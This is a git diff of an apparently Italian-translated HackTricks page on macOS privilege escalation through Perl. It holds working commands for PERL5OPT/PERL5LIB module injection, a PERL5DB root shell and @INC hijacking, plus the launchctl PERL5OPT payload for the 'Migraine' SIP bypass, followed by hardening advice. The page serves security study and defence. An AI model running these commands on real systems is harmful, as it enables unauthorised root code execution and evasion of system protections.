Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-07-30 16:15:30 +00:00
parent 3717219cb4
commit 834cd95744

View File

@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Tramite la variabile d'ambiente `PERL5OPT` & `PERL5LIB`
## Via `PERL5OPT` & `PERL5LIB` env variable
Utilizzando la variabile d'ambiente PERL5OPT è possibile far eseguire a perl comandi arbitrari.\
Utilizzando la variabile d'ambiente **`PERL5OPT`** è possibile far eseguire a **Perl** comandi arbitrari quando l'interprete si avvia (anche **prima** che la prima riga dello script di destinazione venga analizzata).
Ad esempio, crea questo script:
```perl:test.pl
#!/usr/bin/perl
@ -22,17 +22,30 @@ package pmod;
system('whoami');
1; # Modules must return a true value
```
E poi usa le variabili di ambiente:
E poi usa le variabili di ambiente in modo che il modulo venga localizzato e caricato automaticamente:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
```
## Via dipendenze
### Altre variabili d'ambiente interessanti
È possibile elencare l'ordine della cartella delle dipendenze di Perl in esecuzione:
* **`PERL5DB`** quando l'interprete viene avviato con il flag **`-d`** (debugger), il contenuto di `PERL5DB` viene eseguito come codice Perl *all'interno* del contesto del debugger. Se puoi influenzare sia l'ambiente **che** i flag della riga di comando di un processo Perl privilegiato, puoi fare qualcosa del genere:
```bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # aprirà una shell prima di eseguire lo script
```
* **`PERL5SHELL`** su Windows questa variabile controlla quale eseguibile della shell Perl utilizzerà quando deve avviare una shell. Viene menzionata qui solo per completezza, poiché non è rilevante su macOS.
Sebbene `PERL5DB` richieda l'opzione `-d`, è comune trovare script di manutenzione o di installazione che vengono eseguiti come *root* con questo flag abilitato per la risoluzione dei problemi dettagliata, rendendo la variabile un vettore di escalation valido.
## Via dipendenze (@INC abuse)
È possibile elencare il percorso di inclusione che Perl cercherà (**`@INC`**) eseguendo:
```bash
perl -e 'print join("\n", @INC)'
```
Che restituirà qualcosa come:
L'output tipico su macOS 13/14 appare come:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -44,17 +57,44 @@ Che restituirà qualcosa come:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Alcune delle cartelle restituite non esistono nemmeno, tuttavia, **`/Library/Perl/5.30`** **esiste**, **non è** **protetta** da **SIP** ed è **prima** delle cartelle **protette da SIP**. Pertanto, qualcuno potrebbe abusare di quella cartella per aggiungere dipendenze di script in modo che uno script Perl ad alta privilegio lo carichi.
Alcune delle cartelle restituite non esistono nemmeno, tuttavia **`/Library/Perl/5.30`** esiste, *non* è protetta da SIP ed è *prima* delle cartelle protette da SIP. Pertanto, se puoi scrivere come *root* puoi inserire un modulo malevolo (ad es. `File/Basename.pm`) che sarà *preferenzialmente* caricato da qualsiasi script privilegiato che importa quel modulo.
> [!WARNING]
> Tuttavia, nota che **devi essere root per scrivere in quella cartella** e oggigiorno riceverai questo **prompt TCC**:
> Hai ancora bisogno di **root** per scrivere all'interno di `/Library/Perl` e macOS mostrerà un prompt **TCC** che chiede *Accesso completo al disco* per il processo che esegue l'operazione di scrittura.
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
Ad esempio, se uno script importa **`use File::Basename;`** sarebbe possibile creare `/Library/Perl/5.30/File/Basename.pm` contenente codice controllato dall'attaccante.
Ad esempio, se uno script importa **`use File::Basename;`**, sarebbe possibile creare `/Library/Perl/5.30/File/Basename.pm` per far eseguire codice arbitrario.
## Bypass di SIP tramite Migration Assistant (CVE-2023-32369 “Migraine”)
Nel maggio 2023 Microsoft ha divulgato **CVE-2023-32369**, soprannominato **Migraine**, una tecnica di post-exploitation che consente a un attaccante *root* di **bypassare completamente la Protezione dell'integrità di sistema (SIP)**.
Il componente vulnerabile è **`systemmigrationd`**, un demone dotato di **`com.apple.rootless.install.heritable`**. Qualsiasi processo figlio generato da questo demone eredita il diritto e quindi viene eseguito **al di fuori** delle restrizioni SIP.
Tra i figli identificati dai ricercatori c'è l'interprete firmato da Apple:
```
/usr/bin/perl /usr/libexec/migrateLocalKDC …
```
Perché Perl onora `PERL5OPT` (e Bash onora `BASH_ENV`), avvelenare l'*ambiente* del demone è sufficiente per ottenere un'esecuzione arbitraria in un contesto senza SIP:
```bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
Quando `migrateLocalKDC` viene eseguito, `/usr/bin/perl` si avvia con il malevolo `PERL5OPT` ed esegue `/private/tmp/migraine.sh` *prima che SIP venga riabilitato*. Da quel script puoi, ad esempio, copiare un payload all'interno di **`/System/Library/LaunchDaemons`** o assegnare l'attributo esteso `com.apple.rootless` per rendere un file **non eliminabile**.
Apple ha risolto il problema in macOS **Ventura 13.4**, **Monterey 12.6.6** e **Big Sur 11.7.7**, ma i sistemi più vecchi o non patchati rimangono sfruttabili.
## Raccomandazioni per il rafforzamento
1. **Pulisci le variabili pericolose** i launchdaemons privilegiati o i cron job dovrebbero avviarsi con un ambiente pulito (`launchctl unsetenv PERL5OPT`, `env -i`, ecc.).
2. **Evita di eseguire interpreti come root** a meno che non sia strettamente necessario. Usa binari compilati o riduci i privilegi presto.
3. **Fornisci script con `-T` (modalità taint)** in modo che Perl ignori `PERL5OPT` e altri switch non sicuri quando il controllo di taint è abilitato.
4. **Tieni macOS aggiornato** “Migraine” è completamente patchato nelle versioni attuali.
## Riferimenti
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
- Microsoft Security Blog “Nuova vulnerabilità macOS, Migraine, potrebbe bypassare la Protezione dell'Integrità di Sistema” (CVE-2023-32369), 30 maggio 2023.
- Hackyboiz “Ricerca sul bypass SIP di macOS (PERL5OPT & BASH_ENV)”, maggio 2025.
{{#include ../../../banners/hacktricks-training.md}}